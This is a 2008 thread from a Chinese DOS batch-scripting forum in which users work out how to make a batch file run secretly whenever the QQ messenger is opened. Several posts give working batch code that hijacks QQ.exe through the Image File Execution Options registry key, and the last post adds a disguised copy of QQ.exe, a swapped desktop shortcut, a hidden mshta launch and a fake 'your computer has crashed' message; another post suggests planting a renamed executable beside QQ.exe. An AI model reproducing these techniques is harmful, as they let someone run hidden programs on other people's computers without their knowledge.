中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-09 05:59
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何将bat文件捆绑在QQ上? 查看 3,772 回复 30
16 发表于 2008-07-21 00:22 ·  中国 山东 聊城 电信
系统支持
★★★
积分 1,013
发帖 435
注册 2007-02-08 00:00
19年会员
UID 78999
性别 男
状态 离线
那就映像劫持。。。
17 发表于 2008-07-21 07:30 ·  中国 广东 广州 电信
银牌会员
★★★★
SuperCleaner
积分 2,362
发帖 1,133
注册 2008-02-02 21:36
18年会员
UID 110072
性别 男
状态 离线
偶像!!!!!每次看到版主字样 我就激动不已
18 我们换一种思考方法 发表于 2008-07-21 09:03 ·  中国 广东 广州 电信
银牌会员
★★★★
SuperCleaner
积分 2,362
发帖 1,133
注册 2008-02-02 21:36
18年会员
UID 110072
性别 男
状态 离线
其实好像被我们想复杂了,我们把批处理QQ.bat连接到 QQ.exe
以后直接开QQ.bat 不就可以了?

看以下例子 :
start C:\Program Files\Tencent\QQ\QQ.exe
call 123.bat

既方便 又快捷
19 发表于 2008-07-21 09:54 ·  美国 惠普HP
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
@echo off
>"C:\test.bat" echo @echo off
>>"C:\test.bat" echo start "" "C:\Program Files\Tencent\QQ\QQ.exe"
>>"C:\test.bat" echo hello world
rem 需要什么命令,就在后面接着用echo动态生成就行了。
>>"C:\test.bat" echo pause

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
20 回19楼 发表于 2008-07-21 11:02 ·  中国 广西 百色 中移铁通
银牌会员
★★★
永远的菜鸟
积分 1,335
发帖 574
注册 2007-11-27 12:50
18年会员
UID 103929
性别 男
来自 广西
状态 离线
在前两天我就试过这个方法了,不行的,因为启动test.bat后,会启动QQ,那么会再次启动test.bat,这样会陷入死循环,无法关闭,我已经被迫重启过了,(在虚拟机里测试的,哈哈...)
21 发表于 2008-07-21 13:18 ·  中国 浙江 湖州 安吉县 电信
初级用户
积分 98
发帖 33
注册 2008-06-22 23:29
18年会员
UID 120722
性别 男
状态 离线
第18楼的..我的意思不是像你所理解的一样.
我的意思是:用户打开QQ.EXE.然后在后台运行123.bat.而用户并不了解所发生的一切...

还有..19楼的.
你前面的命令是把18楼的意思写到了text.txt中吧..
但是..这句是什么意思?
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f

1.我的注册表中在Image File Execution Options 下找不到qq.exe.为什么额?
2.这个好象用到了影象劫持技术..听说过..大概了解些..但是不太懂..你帮我看看我的理解是否正确..也就是说,在加如这个东西之后.用户打开qq.exe并不运行了..反而执行的是test.bat ..是否正确?所谓的影象劫持技术.是不是就是说,比如,用户要打开一个文件..首先系统要先启用解释这个文件类型的基础文件..而影象劫持技术就是把这个基础文件重新定向于另外一个文件..那么当用户在打开这个文件的时候就会自动打开我所定向的另外一个文件,而不执行用户原来的文件了?
22 回21楼 发表于 2008-07-21 13:26 ·  中国 广西 百色 中移铁通
银牌会员
★★★
永远的菜鸟
积分 1,335
发帖 574
注册 2007-11-27 12:50
18年会员
UID 103929
性别 男
来自 广西
状态 离线
1.那句代码就是在Image File Execution Options下加上qq.exe.
2.正确.
23 to 20楼 发表于 2008-07-21 13:34 ·  美国 惠普HP
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
@echo off
>"C:\test.bat" echo @echo off
>>"C:\test.bat" echo tasklist^|findstr /i QQ.exe
>>"C:\test.bat" echo if %%errorlevel%% neq 0 (
>>"C:\test.bat" echo start "" "C:\Program Files\Tencent\QQ\QQ.exe"
>>"C:\test.bat" echo )
>>"C:\test.bat" echo echo hello world
rem 需要什么命令,就在后面接着用echo动态生成就行了。
>>"C:\test.bat" echo pause

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
24 回23楼 发表于 2008-07-21 15:03 ·  中国 广西 百色 中移铁通
银牌会员
★★★
永远的菜鸟
积分 1,335
发帖 574
注册 2007-11-27 12:50
18年会员
UID 103929
性别 男
来自 广西
状态 离线
如果已经打开QQ,这个代码可以正常执行,但是没开qq的话,还是会陷入死循环,
25 发表于 2008-07-21 15:24 ·  中国 广东 广州 花都区 电信
银牌会员
★★★★
SuperCleaner
积分 2,362
发帖 1,133
注册 2008-02-02 21:36
18年会员
UID 110072
性别 男
状态 离线
……看了一下21楼的 原来是做贼啊 难怪这么麻烦……可惜我不会vbs
我猜vbs应该做的到
26 发表于 2008-07-21 19:19 ·  中国 浙江 湖州 安吉县 电信
初级用户
积分 98
发帖 33
注册 2008-06-22 23:29
18年会员
UID 120722
性别 男
状态 离线
我尝试了下..
用印象劫持技术可以..
但是用了之后..就无法打开QQ了..
另外还有什么好方法吗`?
27 发表于 2008-07-22 10:35 ·  中国 江西 南昌 电信
初级用户
积分 48
发帖 19
注册 2008-03-22 20:37
18年会员
UID 113712
性别 男
状态 离线
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
我这 个都写不进去

这个 IFEO 怎么写不了

调用其实也可以
28 发表于 2008-07-22 14:07 ·  中国 广东 广州 科技网
新手上路
积分 16
发帖 7
注册 2008-04-26 09:09
18年会员
UID 116982
性别 男
状态 离线
如果是新版的QQ的话就把那个123.BAT文件编译成EXE文件,并改名为TXPlatform.exe
放在QQ.EXE同一目录下.这样就可以在打开QQ的时候运行了
29 发表于 2008-07-23 11:45 ·  中国 广东 广州 电信
银牌会员
★★★★
SuperCleaner
积分 2,362
发帖 1,133
注册 2008-02-02 21:36
18年会员
UID 110072
性别 男
状态 离线
好家伙……我觉得成功的话 这个方法很好了
不过貌似楼主就是想要用bat解决这个问题
30 发表于 2008-07-23 20:49 ·  中国 广东 广州 电信
银牌会员
★★★
永远的菜鸟
积分 1,335
发帖 574
注册 2007-11-27 12:50
18年会员
UID 103929
性别 男
来自 广西
状态 离线
其实用下面的方法可以实现(利用障眼法),但是打开QQ的时候会出现CMD窗口
@echo off
more +7<"%~0">"e:\program files\tencent\qq\moniuming.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\ QQ.exe" /v Debugger /t REG_SZ /d "\"e:\program
files\tencent\qq\moniuming.bat\"" /f
copy /y "e:\program files\tencent\qq\qq.exe" "e:\program files\tencent\qq\ QQ.exe"
del /f /q "%userprofile%\桌面\qq.exe.lnk"
copy /y "e:\program files\tencent\qq\ QQ.exe" "%userprofile%\桌面\ QQ.exe"
exit
@echo off
if not "%~1"=="h" mshta vbscript:createobject("wscript.shell").run("%~fs0 h "%*"",0)
(window.close)&exit
start "" "e:\program files\tencent\qq\QQ.exe"
ping -n 5 127.1>nul
msg %username% /time:10 " 你的电脑已经崩溃,找东西擦眼泪去吧,哈哈..."
论坛跳转: